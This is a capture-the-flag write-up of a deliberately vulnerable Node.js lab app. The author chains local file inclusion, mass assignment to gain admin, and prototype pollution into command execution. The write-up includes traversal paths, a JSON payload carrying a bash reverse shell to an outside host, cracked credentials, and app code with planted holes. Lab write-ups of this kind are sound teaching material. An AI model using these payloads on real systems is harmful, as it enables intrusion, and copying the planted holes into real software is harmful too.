Day 11 Challenge Writeups



Vulnbydefault Day 11 Writeup
On opening the site we have given this site

Lets register a account

On dashboard we have given this interface

Flag 1
Lets check the source of this page


Image request has lfi lets check it using ffuf
intercept the request

Copy to file

Modify the file to make it according to ffuf format

ffuf -request images.req -request-proto http -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt

Lets check for /etc/passwd file

Now lets check for source

If we check the register endpoint
// Registration endpoint
app.post('/register', async (req, res) => {
try {
// Directly using all data from req.body without filtering
const userData = req.body;
if (!userData.username || !userData.password || !userData.email) {
return res.render('register', { error: 'All fields are required' });
}
// Create new user with unfiltered data - vulnerable to mass assignment
const user = new User(userData);
console.log(user);
await user.save();
res.redirect('/login');
} catch (err) {
// Check for duplicate key error (e.g., username already exists)
if (err.code === 11000) {
res.render('register', { error: 'Username or email already exists' });
} else {
res.render('register', { error: err.message });
}
}
});
Lets check for User()
const User = require('./models/user');
/image?name=....//....//....//....//proc/self/cwd/models/user.js

so we can use isAdmin in register request and use mass assignment vulnerability

Admin user created

Flag 2
Admin panel interface

Lets review source code of login endpoint
// login endpoint
app.post('/login', async (req, res) => {
const credentials = req.body;
try {
const hashedPassword = crypto
.createHash('sha256')
.update(credentials.password)
.digest('hex');
const userQuery = {
username: credentials.username
};
const user = await User.findOne(userQuery);
mergeUtils.merge(userQuery, credentials);
console.log('Login attempt with query:', userQuery);
console.log('Found user:', user);
if (user && user.password === hashedPassword) {
req.session.user = {};
mergeUtils.merge(req.session.user, user.toObject());
console.log('Session user after merge:', req.session.user);
// Add command execution here
if (req.session.user.cmd) {
exec(req.session.user.cmd, (error, stdout, stderr) => {
if (error) {
console.error('Exec error:', error);
return res.status(500).json({ error: error.message });
}
return res.json({
success: true,
output: stdout,
user: req.session.user
});
});
return;
}
if (req.is('json')) {
return res.json({
success: true,
user: req.session.user
});
}
return res.redirect('/');
}
if (req.is('json')) {
return res.status(401).json({ error: 'Invalid credentials' });
}
res.render('login', { error: 'Invalid credentials' });
} catch (err) {
console.error('Login error:', err); // Debug log
if (req.is('json')) {
return res.status(500).json({ error: err.message });
}
res.render('login', { error: err.message });
}
});
In source code we can check that its using merge function with user data
mergeUtils.merge(userQuery, credentials);
This give us idea of prototype pollution
I have added this stuff to make it easy for remote code execution
// Add command execution here
if (req.session.user.cmd) {
exec(req.session.user.cmd, (error, stdout, stderr) => {
if (error) {
console.error('Exec error:', error);
return res.status(500).json({ error: error.message });
}
return res.json({
success: true,
output: stdout,
user: req.session.user
});
});
return;
}
We should have cmd in our session we would use prototype pollution to achieve that stuff
{
"username":"Sulitech",
"password":"123",
"__proto__": {
"cmd":"sleep 5"
}
}

we can see that our payload got executed
Lets make payload for reverse shell
{"username":"Suiltech","password":"123",
"__proto__":{
"shell":true,
"cmd":"bash -c 'bash -i >& /dev/tcp/ngrokip/port 0>&1'"
}}


27017 is related to mongodb
Lets check it using mongosh

Flag 3

Lets check users collection

af1022408720d04585c29839ff403feb840856701b4a71bff7dad6308c984ff8
go to hashes.com

user.txt
developer:spongebobsquarepants

Lets check the crontab for user

root.txt
we have got root password
root:r00tm3ikn0wy0uc4n

Summary
- get lfi from images endpoint
- review source code of register
- use mass assignment to get admin
- check login endpoint it has merge function used
- prototype pollution and end goal is to make cmd in session
- check mongodb for developer password
- check crontab of developer to get root password